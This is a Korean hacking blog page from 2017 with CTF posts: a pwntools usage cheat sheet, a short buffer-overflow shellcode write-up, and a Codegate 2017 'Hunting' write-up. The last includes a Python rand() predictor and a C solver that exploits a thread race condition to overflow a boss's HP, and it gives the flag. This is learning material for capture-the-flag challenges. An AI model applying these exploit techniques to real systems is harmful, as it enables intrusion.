블로그 이미지
Nehoy
경기대학교 / kknock

calendar

1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

Notice

Tag

2017. 2. 19. 18:08 Hack

- pwntools 사용법

# import

from pwn import *


# access 1

shell = ssh("id", "127.0.0.1", port=9999, password="passwd")

proc = shell.run("./program")


# access 2

proc = process("./program")

proc = process(["cat", "test"]) # 2017.05.16


# access 3

proc = remote("localhost", 9002)


# send

proc.send("test\n")

proc.sendline("test")


# recv

proc.recv()                 # EOF deadlock

proc.recvline()            # \n deadlock

proc.recvlines()           # EOF deadlock

proc.recvrepeat(0.3)

proc.recvall()              # EOF deadlock

proc.recvuntil(str)       # str deadlock


# p32 | p64 <==> u32 | u64 (반대되는 함수)

addr = proc.recvline()

addr = int(addr, 16)

addr = p64(addr)       # p32 or p64


# poll : exit code 반환 (실행 중일 경우 None 반환)

// proc.poll(False)          # 매개변수는 deadlock 여부

proc.poll()                   # 2017.05.16


# ELF

program = ELF('./program')

libc = ELF('./libc')


setvbuf_plt = program.plt['setvbuf']

setvbuf_got = program.got['setvbuf']


system_offset = libc.symbols['system']


- libc.rand 사용법

# import

from ctypes import *

import time


# setting

libc = CDLL('libc.so.6')

seed = libc.time()

libc.srand(seed)


# rand

libc.rand()

'Hack' 카테고리의 다른 글

[Python] pwntools log 없애기  (0) 2017.06.17
posted by Nehoy
2017. 2. 15. 21:53 Hack/포너블

pwn1.zip

현규형이 간단하게 pwntools를 연습해보라고 준 문제다.


프로그램은 진짜 간단한 bof 문제다. 특이사항은 버퍼의 크기가 0x10byte라서 shellcode가 못들어가기 때문에 buffer - SFP - RET 뒤에 shellcode를 넣고 주소를 이에 맞게 변경해줘야 한다.


p64는 주소값을 리틀엔디안에 맞게 반환해 주는 함수이다.  (pwntools 내부에 존재하는 함수이다.)


쉘을 따고 ls를 한 화면이다.

'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[Codegate 2017] Prequal : Hunting  (3) 2017.02.12
posted by Nehoy
2017. 2. 12. 17:19 Hack/포너블

hunt.zip


<프로그램 실행 화면>

 스킬을 사용하여 각 레벨의 보스를 죽이는 프로그램이다.


<0x40184C - level_clear>

<0x4018D4 - game_clear>

 4 레벨을 클리어하면 flag를 얻을 수 있다.


<0x4019A4 - boss_attack>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
 
def defense(v1) :
    t1 = (v1 >> 32& 0xFFFFFFFF
    t2 = t1 >> 30
    t3 = v1 & 0xff
 
    v2 = ((t2 + t3) & 3- t2
    
    v = 0
    if v2 == 1 :
        v = 3
    elif v2 == 2 :
        v = 2
    else :
        v = 1
    
    v_str = "{0}".format(v)
    print(v_str)
 
defense(int(sys.argv[1]))
cs

<매개변수로 넘겨진 rand() 값을 토대로 보스의 공격을 예측하는 파이썬 코드>

 스킬을 사용하면 보스 또한 공격 하게 되는데 3개의 선택지 중 하나를 선택하여 공격을 막을 수 있다. 보스의 공격 값은 rand() 값을 기반으로 정해지게 되는데, rand()의 seed를 time() 값으로 설정하기 때문에 같은 시간에 seed를 설정하면 보스의 공격 값을 미리 알 수 있다.


<main>

<level 4 보스의 체력>

 attack으로 총 82번 '2. Use skill'을 하면 level 4가 되는데, level 4 보스의 체력은 0x7FFFFFFFFFFFFFFE가 된다. 메뉴 실행 횟수가 250미만으로 제한되어 있고 제한된 횟수안에 저 체력을 다 깎을만한 damage의 skill도 없으므로 체력을 깎아서 죽일 수는 없고, 보스의 체력을 2만큼 올려 오버플로우를 일으켜야 한다.


<0x401580 - use_skill>

 use_skill() 함수를 보면 스킬의 index가 4이하일 때, damage의 음수값 검사는 64bit로 진행하지만 공격 연산(hp -= damage)은 32bit로 진행하게 된다. 문제점은 index가 4이하인 스킬로는 damage를 음수로 만들 수가 없다는 것이다.


<main>

<0x40117C - skill_damage>

<0x400F46 - skill_damage_icesword>

 use_skill() 함수는 thread로 실행되는데, fireball과 icesword의 경우 damage 값 연산 함수(skill_damage)에서 sleep(1)을 한다. damage 변수는 공유되기 때문에, 위 sleep(1)을 이용하여 fireball - use_skill()에서 icesword의 damage 값(0xFFFFFFFF)으로 공격하면 된다.

 주의해야 할 점은 fireball - use_skill()에서 byte_603380의 값을 1로 만들었을 때, icesword - use_skill()이 다시 진행돼야 한다는 것이다. 이렇게 해서 "You are already using ~" 문자열이 출력되면, 보스의 hp에서 0xFFFFFFFF가 빼지는걸 막을 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
 
void change(FILE *fp, int value);
void defense(FILE *fp);
void attack(FILE *fp);
void final(FILE *fp);
 
void main() {
    FILE *fp = NULL;
    int i;
    
    srand((unsigned)time(NULL));
    if ((fp = popen("/home/hunting/hunting""w")) == NULL) {
        printf("error - popen\n");
        return ;
    }
    
    for (i = 0; i < 82; i++)    attack(fp);
    for (i = 0; i < 2; i++)     final(fp);
    
    pclose(fp);
}
 
void change(FILE *fp, int value) {
    fprintf(fp, "3\n%d\n", value);
    fflush(fp);
}
void defense(FILE *fp) {
    FILE *py_fp = NULL;
    char buffer[100];
    int select;
    
    sprintf(buffer, "python /tmp/hy/defense.py %d", rand());
    
    if ((py_fp = popen(buffer, "r")) == NULL) {
        printf("error - popen2\n");
        return ;
    }
    
    fscanf(py_fp, "%d"&select);
    pclose(py_fp);
    
    fprintf(fp, "%d\n", select);
    fflush(fp);
}
void attack(FILE *fp) {
    fprintf(fp, "2\n");
    fflush(fp);
    defense(fp);
}
void final(FILE *fp) {
    change(fp, 2);
    fprintf(fp, "2\n");
    fflush(fp);
 
    rand();
    defense(fp);
    change(fp, 7);
    fprintf(fp, "2\n");
    fflush(fp);
    
    sleep(1);
    
    rand();
    defense(fp);
}
 
cs

<문제 풀이에 사용된 C 코드>

<풀이 결과>

 python - pwn을 이용해서 원격으로 접속하니 명령 전달에 딜레이가 걸려 제때에 thread가 생성이 안되는 문제가 있었다. 서버에서 로컬로 문제를 풀어야 했는데 서버에는 pwn이 설치되어있지 않아서, c언어로 코딩한 다음 문제를 풀었다.


s1mp13_rac3_c0nd1t1n_gam3_


'Hack > 포너블' 카테고리의 다른 글

[Codegate 2016] watermelon  (3) 2017.02.23
[Linux] %?$p 와 64bit 프로그램 매개변수 순서  (0) 2017.02.21
[Codegate 2016] serial  (0) 2017.02.20
[Linux] ps | grep & socat & checksec.sh  (0) 2017.02.19
[포너블] pwn1  (0) 2017.02.15
posted by Nehoy